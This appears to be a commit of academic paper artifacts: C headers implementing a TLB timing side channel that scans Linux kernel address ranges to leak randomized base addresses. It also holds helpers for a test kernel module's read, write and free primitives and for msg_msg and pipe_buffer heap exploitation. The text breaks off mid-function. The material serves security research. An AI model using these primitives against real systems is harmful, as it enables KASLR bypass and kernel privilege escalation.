moved paper and artifacts
This commit is contained in:
parent
ab27c4cba8
commit
92bd09ec53
36 changed files with 0 additions and 0 deletions
136
paper/artifacts/include/cacheutils.h
Normal file
136
paper/artifacts/include/cacheutils.h
Normal file
|
@ -0,0 +1,136 @@
|
|||
#ifndef CACHEUTILS_H
|
||||
#define CACHEUTILS_H
|
||||
|
||||
#ifndef HIDEMINMAX
|
||||
#define MAX(X,Y) (((X) > (Y)) ? (X) : (Y))
|
||||
#define MIN(X,Y) (((X) < (Y)) ? (X) : (Y))
|
||||
#endif
|
||||
|
||||
void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); }
|
||||
|
||||
inline size_t rdtsc_nofence(void)
|
||||
{
|
||||
size_t a, d;
|
||||
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
|
||||
a = (d<<32) | a;
|
||||
return a;
|
||||
}
|
||||
|
||||
inline size_t rdtsc(void)
|
||||
{
|
||||
size_t a, d;
|
||||
asm volatile ("mfence");
|
||||
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
|
||||
a = (d<<32) | a;
|
||||
asm volatile ("mfence");
|
||||
return a;
|
||||
}
|
||||
|
||||
inline size_t rdtsc_cpuid_begin() {
|
||||
size_t a, d;
|
||||
asm volatile ("mfence\n\t"
|
||||
"RDTSCP\n\t"
|
||||
"mov %%rdx, %0\n\t"
|
||||
"mov %%rax, %1\n\t"
|
||||
"xor %%rax, %%rax\n\t"
|
||||
"CPUID\n\t"
|
||||
: "=r" (d), "=r" (a)
|
||||
:
|
||||
: "%rax", "%rbx", "%rcx", "%rdx");
|
||||
a = (d<<32) | a;
|
||||
return a;
|
||||
}
|
||||
|
||||
inline size_t rdtsc_cpuid_end() {
|
||||
size_t a, d;
|
||||
asm volatile(
|
||||
"xor %%rax, %%rax\n\t"
|
||||
"CPUID\n\t"
|
||||
"RDTSCP\n\t"
|
||||
"mov %%rdx, %0\n\t"
|
||||
"mov %%rax, %1\n\t"
|
||||
"mfence\n\t"
|
||||
: "=r" (d), "=r" (a)
|
||||
:
|
||||
: "%rax", "%rbx", "%rcx", "%rdx");
|
||||
a = (d<<32) | a;
|
||||
return a;
|
||||
}
|
||||
|
||||
|
||||
inline size_t rdtsc_begin(void)
|
||||
{
|
||||
size_t a, d;
|
||||
asm volatile ("mfence");
|
||||
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
|
||||
a = (d<<32) | a;
|
||||
asm volatile ("lfence");
|
||||
return a;
|
||||
}
|
||||
|
||||
inline size_t rdtsc_end(void)
|
||||
{
|
||||
size_t a, d;
|
||||
asm volatile ("lfence");
|
||||
asm volatile ("rdtsc" : "=a" (a), "=d" (d));
|
||||
a = (d<<32) | a;
|
||||
asm volatile ("mfence");
|
||||
return a;
|
||||
}
|
||||
|
||||
inline void flush(__attribute__((unused))size_t p)
|
||||
{
|
||||
asm volatile (".intel_syntax noprefix");
|
||||
asm volatile ("clflush qword ptr [%0]\n" : : "r" (p));
|
||||
asm volatile (".att_syntax");
|
||||
}
|
||||
|
||||
inline void prefetcht0(void* p)
|
||||
{
|
||||
asm volatile ("prefetcht0 (%0)" : : "r" (p));
|
||||
}
|
||||
|
||||
inline void prefetcht1(void* p)
|
||||
{
|
||||
asm volatile ("prefetcht1 (%0)" : : "r" (p));
|
||||
}
|
||||
|
||||
inline void prefetcht2(void* p)
|
||||
{
|
||||
asm volatile ("prefetcht2 (%0)" : : "r" (p));
|
||||
}
|
||||
|
||||
inline void prefetchnta(void* p)
|
||||
{
|
||||
asm volatile ("prefetchnta (%0)" : : "r" (p));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
inline void prefetch2(void* p)
|
||||
{
|
||||
asm volatile ("prefetchnta (%0)" : : "a" (p));
|
||||
asm volatile ("prefetcht2 (%0)" : : "a" (p));
|
||||
}
|
||||
|
||||
|
||||
inline void prefetch(__attribute__((unused))size_t p)
|
||||
{
|
||||
asm volatile (".intel_syntax noprefix");
|
||||
asm volatile ("prefetchnta qword ptr [%0]" : : "r" (p));
|
||||
asm volatile ("prefetcht2 qword ptr [%0]" : : "r" (p));
|
||||
asm volatile (".att_syntax");
|
||||
}
|
||||
|
||||
inline void longnop(void)
|
||||
{
|
||||
asm volatile ("nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n"
|
||||
"nop\nnop\nnop\nnop\nnop\nnop\nnop\nnop\n");
|
||||
}
|
||||
|
||||
#endif
|
92
paper/artifacts/include/coarse_grain_leak.h
Normal file
92
paper/artifacts/include/coarse_grain_leak.h
Normal file
|
@ -0,0 +1,92 @@
|
|||
#pragma once
|
||||
|
||||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include <stdint.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
|
||||
#define IDENTITY_START 0xffff888000000000
|
||||
#define IDENTITY_END 0xffffc87fffffffff
|
||||
#define VMEMMAP_START 0xffff888800000000
|
||||
#define VMEMMAP_END (0xfffff00000000000-(1ULL<<30))
|
||||
|
||||
size_t __vmemmap_leak(size_t tries, size_t *found)
|
||||
{
|
||||
size_t addr;
|
||||
for (addr = VMEMMAP_END; addr > VMEMMAP_START; addr -= (1ULL << 30)) {
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
*found = hit(addr, 4) && hit_accurate(addr, 30);
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
size_t vmemmap_leak(size_t tries)
|
||||
{
|
||||
size_t found = 0;
|
||||
return __vmemmap_leak(tries, &found);
|
||||
}
|
||||
size_t vmemmap_leak_found(size_t tries, size_t *found)
|
||||
{
|
||||
return __vmemmap_leak(tries, found);
|
||||
}
|
||||
|
||||
size_t __dpm_leak(size_t tries, size_t *found)
|
||||
{
|
||||
size_t addr;
|
||||
for (addr = IDENTITY_START; addr < IDENTITY_END; addr += (1ULL << 30)) {
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
*found = hit(addr, 4) && hit_accurate(addr, 30);
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
size_t dpm_leak(size_t tries)
|
||||
{
|
||||
size_t found = 0;
|
||||
return __dpm_leak(tries, &found);
|
||||
}
|
||||
size_t dpm_leak_found(size_t tries, size_t *found)
|
||||
{
|
||||
return __dpm_leak(tries, found);
|
||||
}
|
||||
|
||||
size_t __vmalloc_leak(size_t tries, size_t *found)
|
||||
{
|
||||
size_t addr;
|
||||
size_t dpm_base = dpm_leak(tries);
|
||||
// 128 GB after the dpm base
|
||||
for (addr = dpm_base + (128ULL << 30); addr < VMEMMAP_END; addr += (1ULL << 30)) {
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
*found = hit(addr, 4) && hit_accurate(addr, 30);
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
if (*found)
|
||||
break;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
size_t vmalloc_leak(size_t tries)
|
||||
{
|
||||
size_t found = 0;
|
||||
return __vmalloc_leak(tries, &found);
|
||||
}
|
||||
size_t vmalloc_leak_found(size_t tries, size_t *found)
|
||||
{
|
||||
return __vmalloc_leak(tries, found);
|
||||
}
|
143
paper/artifacts/include/debug.h
Normal file
143
paper/artifacts/include/debug.h
Normal file
|
@ -0,0 +1,143 @@
|
|||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
|
||||
enum AnsiColor
|
||||
{
|
||||
Ansi_Red = 31,
|
||||
Ansi_Green = 32,
|
||||
Ansi_Yellow = 33,
|
||||
Ansi_Blue = 34,
|
||||
Ansi_Magenta = 35,
|
||||
Ansi_Cyan = 36,
|
||||
Ansi_White = 37,
|
||||
};
|
||||
|
||||
size_t DEBUG = 0;
|
||||
size_t INFO = 1;
|
||||
size_t SUCCESS = 1;
|
||||
size_t ERROR = 1;
|
||||
|
||||
#define DEBUG_NO_COLOR
|
||||
|
||||
#ifndef DEBUG_NO_COLOR
|
||||
#define DEBUG_FORMAT_STRING "\033[1;%zum[%-1s]\033[0;39m "
|
||||
#define PRINTF_INFO(x) DEBUG_FORMAT_STRING, debug_colors[x], debug_labels[x]
|
||||
#define PRINTF_DEBUG(x) DEBUG_FORMAT_STRING "[%6d] ", debug_colors[x], debug_labels[x], gettid()
|
||||
#else
|
||||
#define DEBUG_FORMAT_STRING "[%-1s] "
|
||||
#define PRINTF_INFO(x) DEBUG_FORMAT_STRING, debug_labels[x]
|
||||
#define PRINTF_DEBUG(x) DEBUG_FORMAT_STRING "[%6d] ", debug_labels[x], gettid()
|
||||
#endif
|
||||
|
||||
#define debug_debug(...) do { if (DEBUG) { printf(PRINTF_DEBUG(0)); printf(__VA_ARGS__); } } while (0)
|
||||
#define debug_info(...) do { if (INFO) { printf(PRINTF_INFO(0)); printf(__VA_ARGS__); } } while (0)
|
||||
#define debug_success(...) do { if (SUCCESS) { printf(PRINTF_INFO(1)); printf(__VA_ARGS__); } } while (0)
|
||||
#define debug_error(...) do { if (ERROR) { printf(PRINTF_INFO(2)); printf(__VA_ARGS__); exit(-1); } } while (0)
|
||||
#define debug_print(...) do { printf(PRINTF_INFO(0)); printf(__VA_ARGS__); } while (0)
|
||||
|
||||
// static int current_stage = 0;
|
||||
// __attribute__((unused))static void next_stage(void)
|
||||
// {
|
||||
// current_stage++;
|
||||
// }
|
||||
static const char* debug_labels[] =
|
||||
{
|
||||
"*", "+", "!"
|
||||
};
|
||||
static const size_t debug_colors[] =
|
||||
{
|
||||
Ansi_Cyan, Ansi_Green, Ansi_Red
|
||||
};
|
||||
__attribute__((unused))static void hex_dump(size_t* addresses, size_t length)
|
||||
{
|
||||
for (size_t i = 0; i < length; ++i)
|
||||
{
|
||||
debug_info("0x%016lx\n", addresses[i]);
|
||||
}
|
||||
}
|
||||
|
||||
void wait_input(void)
|
||||
{
|
||||
debug_print("> ");
|
||||
getchar();
|
||||
}
|
||||
|
||||
#define MAX_TIME 4096
|
||||
#define RATIO 2
|
||||
#define MAX_TIME_VAL 128
|
||||
void print_ptrs_times(size_t *ptrs, size_t *times, size_t size)
|
||||
{
|
||||
size_t max = 0;
|
||||
size_t min = -1;
|
||||
size_t adjusted_time;
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
if (times[i] > max && times[i] < 4000 + max)
|
||||
max = times[i];
|
||||
if (times[i] < min)
|
||||
min = times[i];
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
adjusted_time = (times[i] - min) * MAX_TIME_VAL / max;
|
||||
printf("% 5ld:% 7ld:%016zx:", i, times[i], ptrs[i]);
|
||||
for (size_t j = 0; j < adjusted_time; ++j)
|
||||
printf("#");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
void print_times(size_t *times, size_t size)
|
||||
{
|
||||
size_t max = 0;
|
||||
size_t min = -1;
|
||||
size_t adjusted_time;
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
if (times[i] > max && times[i] < 4000 + max)
|
||||
max = times[i];
|
||||
if (times[i] < min)
|
||||
min = times[i];
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
adjusted_time = (times[i] - min) * MAX_TIME_VAL / max;
|
||||
printf("% 5ld:% 7ld:", i, times[i]);
|
||||
for (size_t j = 0; j < adjusted_time; ++j)
|
||||
printf("#");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
void print_hist(size_t *times, size_t size)
|
||||
{
|
||||
size_t start_time = 0;
|
||||
size_t end_time = MAX_TIME;
|
||||
size_t hist[MAX_TIME];
|
||||
memset(hist, 0, sizeof(hist));
|
||||
|
||||
for (size_t i = 0; i < size; ++i)
|
||||
if (times[i]/RATIO < MAX_TIME)
|
||||
++hist[times[i]/RATIO];
|
||||
|
||||
for (size_t i = 0; i < MAX_TIME; ++i) {
|
||||
if (hist[i] > 3) {
|
||||
start_time = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (ssize_t i = MAX_TIME; i >= 0; --i) {
|
||||
if (hist[i] > 3) {
|
||||
end_time = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (size_t i = start_time; i < end_time; ++i) {
|
||||
printf("% 5ld:", i*RATIO);
|
||||
for (size_t j = 0; j < hist[i]; ++j)
|
||||
printf("#");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
76
paper/artifacts/include/lkm.h
Normal file
76
paper/artifacts/include/lkm.h
Normal file
|
@ -0,0 +1,76 @@
|
|||
#pragma once
|
||||
|
||||
#define LKM_ALLOC 100
|
||||
#define LKM_FREE 101
|
||||
#define LKM_READ 102
|
||||
#define LKM_WRITE 103
|
||||
#define LKM_ALLOC_LOCATION 104
|
||||
#define LKM_DPM_TEST 105
|
||||
#define LKM_ACCESS_PRIMITIVE 106
|
||||
#define LKM_BPF_DPM_SPLIT 107
|
||||
#define LKM_MSG_MSG_LEAK 108
|
||||
#define LKM_DPM_LEAK 109
|
||||
#define LKM_VIRTUAL_BASE_LEAK 110
|
||||
#define LKM_STACK_LEAK 111
|
||||
#define LKM_CODE_LEAK 112
|
||||
#define LKM_VMEMMAP_LEAK 113
|
||||
#define LKM_VMALLOC_BASE_LEAK 114
|
||||
#define LKM_SEQ_FILE_LEAK 115
|
||||
#define LKM_CRED_LEAK 116
|
||||
#define LKM_FILE_LEAK 117
|
||||
#define LKM_ARB_FREE 118
|
||||
#define LKM_PIPE_BUFFER_LEAK 119
|
||||
#define LKM_PAGETABLE_WALK 120
|
||||
#define LKM_IS_4KB 121
|
||||
|
||||
typedef union {
|
||||
struct write {
|
||||
size_t kaddr;
|
||||
size_t value;
|
||||
} wr;
|
||||
struct read {
|
||||
size_t kaddr;
|
||||
size_t uaddr;
|
||||
} rd;
|
||||
struct access_primitive {
|
||||
size_t addr;
|
||||
} ap;
|
||||
struct dpm_split {
|
||||
size_t size;
|
||||
} dpms;
|
||||
struct msg_msg_rd {
|
||||
size_t uaddr;
|
||||
size_t msqid;
|
||||
size_t mtype;
|
||||
} mrd;
|
||||
struct dpm_rd {
|
||||
size_t uaddr;
|
||||
} drd;
|
||||
struct alloc {
|
||||
size_t id;
|
||||
size_t size;
|
||||
} al;
|
||||
struct free {
|
||||
size_t id;
|
||||
} fr;
|
||||
struct file_rd {
|
||||
size_t fd;
|
||||
size_t uaddr;
|
||||
} frd;
|
||||
struct pipe_buffer_rd {
|
||||
size_t fd;
|
||||
size_t uaddr;
|
||||
size_t rdend;
|
||||
} pbrd;
|
||||
struct arb_free {
|
||||
size_t kaddr;
|
||||
} af;
|
||||
struct pagetable_walk {
|
||||
size_t uaddr;
|
||||
size_t pgde;
|
||||
size_t p4de;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
} ptw;
|
||||
} msg_t;
|
66
paper/artifacts/include/msg_msg.h
Normal file
66
paper/artifacts/include/msg_msg.h
Normal file
|
@ -0,0 +1,66 @@
|
|||
#pragma once
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
int make_queue(key_t key, int msgflg)
|
||||
{
|
||||
int result;
|
||||
if ((result = msgget(key, msgflg)) == -1) {
|
||||
perror("msgget");
|
||||
exit(-1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
int cleanup_queue_no_err(key_t key)
|
||||
{
|
||||
return msgctl(key, IPC_RMID, 0);
|
||||
}
|
||||
|
||||
int cleanup_queue(key_t key)
|
||||
{
|
||||
int result;
|
||||
if ((result = msgctl(key, IPC_RMID, 0)) == -1) {
|
||||
perror("msgctl");
|
||||
exit(-1);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
long mtype;
|
||||
char mtext[1];
|
||||
} msg;
|
||||
|
||||
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
|
||||
{
|
||||
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
|
||||
perror("msgsnd");
|
||||
exit(-1);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void send_msg_no_err(int msqid, void *msgp, size_t msgsz, int msgflg)
|
||||
{
|
||||
msgsnd(msqid, msgp, msgsz, msgflg);
|
||||
}
|
||||
|
||||
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
|
||||
{
|
||||
ssize_t ret;
|
||||
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
if (ret < 0) {
|
||||
perror("msgrcv");
|
||||
exit(-1);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
|
||||
{
|
||||
return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
|
||||
}
|
57
paper/artifacts/include/pgtable.h
Normal file
57
paper/artifacts/include/pgtable.h
Normal file
|
@ -0,0 +1,57 @@
|
|||
#pragma once
|
||||
|
||||
#define _PAGE_BIT_PRESENT 0 /* is present */
|
||||
#define _PAGE_BIT_RW 1 /* writeable */
|
||||
#define _PAGE_BIT_USER 2 /* userspace addressable */
|
||||
#define _PAGE_BIT_PWT 3 /* page write through */
|
||||
#define _PAGE_BIT_PCD 4 /* page cache disabled */
|
||||
#define _PAGE_BIT_ACCESSED 5 /* was accessed (raised by CPU) */
|
||||
#define _PAGE_BIT_DIRTY 6 /* was written to (raised by CPU) */
|
||||
#define _PAGE_BIT_PSE 7 /* 4 MB (or 2MB) page */
|
||||
#define _PAGE_BIT_PAT 7 /* on 4KB pages */
|
||||
#define _PAGE_BIT_GLOBAL 8 /* Global TLB entry PPro+ */
|
||||
#define _PAGE_BIT_SOFTW1 9 /* available for programmer */
|
||||
#define _PAGE_BIT_SOFTW2 10 /* " */
|
||||
#define _PAGE_BIT_SOFTW3 11 /* " */
|
||||
#define _PAGE_BIT_PAT_LARGE 12 /* On 2MB or 1GB pages */
|
||||
#define _PAGE_BIT_SOFTW4 58 /* available for programmer */
|
||||
#define _PAGE_BIT_PKEY_BIT0 59 /* Protection Keys, bit 1/4 */
|
||||
#define _PAGE_BIT_PKEY_BIT1 60 /* Protection Keys, bit 2/4 */
|
||||
#define _PAGE_BIT_PKEY_BIT2 61 /* Protection Keys, bit 3/4 */
|
||||
#define _PAGE_BIT_PKEY_BIT3 62 /* Protection Keys, bit 4/4 */
|
||||
#define _PAGE_BIT_NX 63 /* No execute: only valid after cpuid check */
|
||||
|
||||
#define _PAGE_PRESENT (1ULL << _PAGE_BIT_PRESENT)
|
||||
#define _PAGE_RW (1ULL << _PAGE_BIT_RW)
|
||||
#define _PAGE_USER (1ULL << _PAGE_BIT_USER)
|
||||
#define _PAGE_PWT (1ULL << _PAGE_BIT_PWT)
|
||||
#define _PAGE_PCD (1ULL << _PAGE_BIT_PCD)
|
||||
#define _PAGE_ACCESSED (1ULL << _PAGE_BIT_ACCESSED)
|
||||
#define _PAGE_DIRTY (1ULL << _PAGE_BIT_DIRTY)
|
||||
#define _PAGE_PSE (1ULL << _PAGE_BIT_PSE)
|
||||
#define _PAGE_GLOBAL (1ULL << _PAGE_BIT_GLOBAL)
|
||||
#define _PAGE_SOFTW1 (1ULL << _PAGE_BIT_SOFTW1)
|
||||
#define _PAGE_SOFTW2 (1ULL << _PAGE_BIT_SOFTW2)
|
||||
#define _PAGE_SOFTW3 (1ULL << _PAGE_BIT_SOFTW3)
|
||||
#define _PAGE_PAT (1ULL << _PAGE_BIT_PAT)
|
||||
#define _PAGE_PAT_LARGE (1ULL << _PAGE_BIT_PAT_LARGE)
|
||||
#define _PAGE_SPECIAL (1ULL << _PAGE_BIT_SPECIAL)
|
||||
#define _PAGE_CPA_TEST (1ULL << _PAGE_BIT_CPA_TEST)
|
||||
#define _PAGE_PKEY_BIT0 (1ULL << _PAGE_BIT_PKEY_BIT0)
|
||||
#define _PAGE_PKEY_BIT1 (1ULL << _PAGE_BIT_PKEY_BIT1)
|
||||
#define _PAGE_PKEY_BIT2 (1ULL << _PAGE_BIT_PKEY_BIT2)
|
||||
#define _PAGE_PKEY_BIT3 (1ULL << _PAGE_BIT_PKEY_BIT3)
|
||||
#define _PAGE_NX (1ULL << _PAGE_BIT_NX)
|
||||
|
||||
#define __PP _PAGE_PRESENT
|
||||
#define __RW _PAGE_RW
|
||||
#define _USR _PAGE_USER
|
||||
#define ___A _PAGE_ACCESSED
|
||||
#define ___D _PAGE_DIRTY
|
||||
#define ___G _PAGE_GLOBAL
|
||||
#define __NX _PAGE_NX
|
||||
|
||||
#define _PAGE_TABLE (__PP|__RW|_USR|___A| 0|___D| 0| 0| 0)
|
||||
|
||||
#define PAGE_TABLE_LARGE (_PAGE_TABLE | _PAGE_PSE)
|
||||
#define PTE (__PP|__RW|_USR|___A| 0|___D| 0| 0|__NX)
|
56
paper/artifacts/include/pipe_buffer.h
Normal file
56
paper/artifacts/include/pipe_buffer.h
Normal file
|
@ -0,0 +1,56 @@
|
|||
#pragma once
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
|
||||
void alloc_pipes(int *pipefd, int flags)
|
||||
{
|
||||
int ret = pipe2(pipefd, flags);
|
||||
if (ret < 0) {
|
||||
perror("pipe2");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_pipe(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = write(fd, buf, sz);
|
||||
if (ret < 0) {
|
||||
perror("write(pipes)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void resize_pipe(int fd, size_t nr_slots)
|
||||
{
|
||||
int ret = fcntl(fd, F_SETPIPE_SZ, nr_slots << 12);
|
||||
if (ret < 0) {
|
||||
perror("fcntl(fd, F_SETPIPE_SZ, nr_slots << 12)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int write_pipe_no_err(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = write(fd, buf, sz);
|
||||
return ret;
|
||||
}
|
||||
|
||||
void read_pipe(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = read(fd, buf, sz);
|
||||
if (ret < 0) {
|
||||
perror("read(pipes)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
int read_pipe_no_err(int fd, char *buf, size_t sz)
|
||||
{
|
||||
int ret = read(fd, buf, sz);
|
||||
return ret;
|
||||
}
|
331
paper/artifacts/include/tlb_flush.h
Normal file
331
paper/artifacts/include/tlb_flush.h
Normal file
|
@ -0,0 +1,331 @@
|
|||
#ifndef TLB_FLUSH_H
|
||||
#define TLB_FLUSH_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <unistd.h>
|
||||
#include "cacheutils.h"
|
||||
|
||||
#define INTEL_12TH_GEN
|
||||
/**
|
||||
* todo set this THRESHOLD depending on your system
|
||||
*/
|
||||
#if defined(INTEL_12TH_GEN)
|
||||
unsigned THRESHOLD = 31;
|
||||
unsigned THRESHOLD2 = 33;
|
||||
#elif defined(INTEL_13TH_GEN)
|
||||
unsigned THRESHOLD = 29;
|
||||
unsigned THRESHOLD2 = 32;
|
||||
#elif defined(INTEL_8TH_GEN)
|
||||
unsigned THRESHOLD = 26;
|
||||
unsigned THRESHOLD2 = 40;
|
||||
#endif
|
||||
|
||||
#define PAGESIZE_4K 12
|
||||
#define PAGESIZE_2M 21
|
||||
|
||||
#define HUGEPAGES 128
|
||||
|
||||
/**
|
||||
* TLB settings
|
||||
*/
|
||||
#define STLB_HASHSIZE_4K 8
|
||||
#define STLB_HASHSIZE_2M 8
|
||||
#define DTLB_HASHSIZE_4K 4
|
||||
#define DTLB_HASHSIZE_2M 3
|
||||
#define STLB_WAYS_4K 12
|
||||
#define STLB_WAYS_2M 8
|
||||
#define DTLB_WAYS_4K 6
|
||||
#define DTLB_WAYS_2M 4
|
||||
#define STLB_HASHMASK_4K ((1 << STLB_HASHSIZE_4K) - 1)
|
||||
#define STLB_HASHMASK_2M ((1 << STLB_HASHSIZE_2M) - 1)
|
||||
#define DTLB_HASHMASK_4K ((1 << DTLB_HASHSIZE_4K) - 1)
|
||||
#define DTLB_HASHMASK_2M ((1 << DTLB_HASHSIZE_2M) - 1)
|
||||
#define STLB_SET_4K(addr) (((addr >> PAGESIZE_4K) ^ (addr >> (PAGESIZE_4K + STLB_HASHSIZE_4K))) & STLB_HASHMASK_4K)
|
||||
#define STLB_SET_2M(addr) (((addr >> PAGESIZE_2M)) & STLB_HASHMASK_2M)
|
||||
#define DTLB_SET_4K(addr) ((addr >> PAGESIZE_4K) & DTLB_HASHMASK_4K)
|
||||
#define DTLB_SET_2M(addr) ((addr >> PAGESIZE_2M) & DTLB_HASHMASK_2M)
|
||||
|
||||
#define FLUSH_SET_SIZE ((1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) * 2 // 12bit page size + enough space for 14 bit xor
|
||||
#define TLB_EVICTION_SIZE (1UL << (PAGESIZE_4K + 12)) // 12bit page size 4096 times to cover up to 3072 TLB entries
|
||||
|
||||
#define TIMER(x) rdtsc_##x
|
||||
|
||||
#define FLUSH_TLB_ALL flush_tlb_4k
|
||||
#define FLUSH_TLB_T_4K flush_tlb_targeted_4k
|
||||
#define FLUSH_TLB_T_2M flush_tlb_targeted_2M
|
||||
|
||||
#define TIMER_START TIMER(begin)
|
||||
#define TIMER_END TIMER(end)
|
||||
#define FLUSH_TLB_4K FLUSH_TLB_T_4K
|
||||
#define FLUSH_TLB_2M FLUSH_TLB_T_2M
|
||||
|
||||
typedef enum
|
||||
{
|
||||
PAGE_4K,
|
||||
PAGE_2M
|
||||
} PageType;
|
||||
|
||||
uint8_t *flush_set;
|
||||
uint8_t *flush_set_2M;
|
||||
|
||||
void init_tlb_flush(void)
|
||||
{
|
||||
flush_set = mmap(0, FLUSH_SET_SIZE, PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
|
||||
if (flush_set == MAP_FAILED) {
|
||||
perror("mmap(flush_set)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
if (posix_memalign((void **)&flush_set_2M, 1 << PAGESIZE_2M, (HUGEPAGES + 1) << PAGESIZE_2M) != 0) {
|
||||
perror("mmap(flush_set_2M)");
|
||||
exit(-1);
|
||||
}
|
||||
madvise(flush_set_2M, (HUGEPAGES + 1) << PAGESIZE_2M, MADV_HUGEPAGE);
|
||||
|
||||
for (unsigned i = 0; i < HUGEPAGES + 1; i++) {
|
||||
flush_set_2M[i << PAGESIZE_2M] = 1;
|
||||
// check the page is indeed huge
|
||||
// check_huge_page(buf);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Flush 4k TLBs with up to 4k entries, doesn't flush L1 DTLB for 2M
|
||||
*/
|
||||
void flush_tlb_4k(__attribute__((unused)) size_t addr)
|
||||
{
|
||||
for (size_t _i = 0; _i < TLB_EVICTION_SIZE; _i += (1 << 12))
|
||||
*(volatile char *)(flush_set + _i);
|
||||
}
|
||||
|
||||
void flush_tlb_targeted_4k(size_t addr)
|
||||
{
|
||||
size_t stlb_set = STLB_SET_4K(addr);
|
||||
size_t dtlb_set = DTLB_SET_4K(addr);
|
||||
size_t flush_base = (size_t)flush_set;
|
||||
flush_base = (((flush_base >> (PAGESIZE_4K + STLB_HASHSIZE_4K * 2))) << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2)) + (1UL << (PAGESIZE_4K + STLB_HASHSIZE_4K * 2));
|
||||
|
||||
// dtlb
|
||||
for (size_t i = 0; i < DTLB_WAYS_4K * 2; i++) {
|
||||
size_t evict_addr = (flush_base + (dtlb_set << PAGESIZE_4K)) ^ (i << (PAGESIZE_4K + DTLB_HASHSIZE_4K));
|
||||
// printf("base: %p, evict_addr: %lx, dset: %d, target dset: %d\n", flush_base, evict_addr, DTLB_SET_4K(evict_addr), DTLB_SET_4K(addr));
|
||||
maccess((void *)evict_addr);
|
||||
}
|
||||
|
||||
// stlb
|
||||
for (size_t i = 0; i < STLB_WAYS_4K * 2; i++) {
|
||||
size_t evict_addr = (flush_base + (stlb_set << PAGESIZE_4K)) ^ (((i << STLB_HASHSIZE_4K) + i) << PAGESIZE_4K);
|
||||
// printf("base: %p, evict_addr: %lx, set: %d, target set: %d\n", flush_base, evict_addr, STLB_SET_4K(evict_addr), STLB_SET_4K(addr));
|
||||
maccess((void *)evict_addr);
|
||||
}
|
||||
}
|
||||
|
||||
void flush_tlb_targeted_2M(size_t addr)
|
||||
{
|
||||
size_t stlb_set = STLB_SET_2M(addr);
|
||||
// size_t dtlb_set = DTLB_SET_2M(addr);
|
||||
